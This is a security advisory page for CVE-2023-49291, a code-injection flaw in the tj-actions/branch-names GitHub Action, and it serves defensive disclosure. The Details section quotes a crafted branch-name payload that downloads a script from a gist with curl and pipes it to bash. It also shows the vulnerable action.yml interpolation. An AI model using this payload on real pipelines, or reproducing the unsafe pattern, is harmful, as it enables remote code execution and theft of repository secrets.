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Not in CISA KEV
CRITICAL severity

CVE-2023-49291 — branch-names

CRITICALFix: tj-actions/branch-names@4923d1c

CVE-2023-49291 is a critical-severity (CVSS 9.3) Improper Input Validation vulnerability in tj-actions/branch-names. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for tj-actions/branch-names — see the affected versions and patch details below.

Improper Sanitization of Branch Name Leads to Arbitrary Code Injection

Also known asGHSA-8v8w-v8xg-79rf
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
2 known
Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
1.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs74th percentile — riskier than 74% of all scored CVEsHighest risk
0.63%1.07%1.51%1.95%1.1%1.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
📦tj-actions/branch-names

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦GitHub Actionstj-actions/branch-namesall versions7.0.7

Affected Products

1 product · 2 configurations
Application
branch-namestj-actions
≥ 7.0.1 && < 7.0.7
range
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tj-actions/branch-names, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update tj-actions/branch-names to 7.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-49291 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary The `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. ### Details The vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable. ```yml runs: using: "composite" steps: - id: branch run: | # "Set branch names..." if [[ "${{ github.ref }}" != "re
O3 Security · Impact-Aware SCA

Is CVE-2023-49291 in your dependencies?

Find it across GitHub Actions, including transitive dependencies.

CVE-2023-49291: branch-names RCE — Fixed in 7.0.7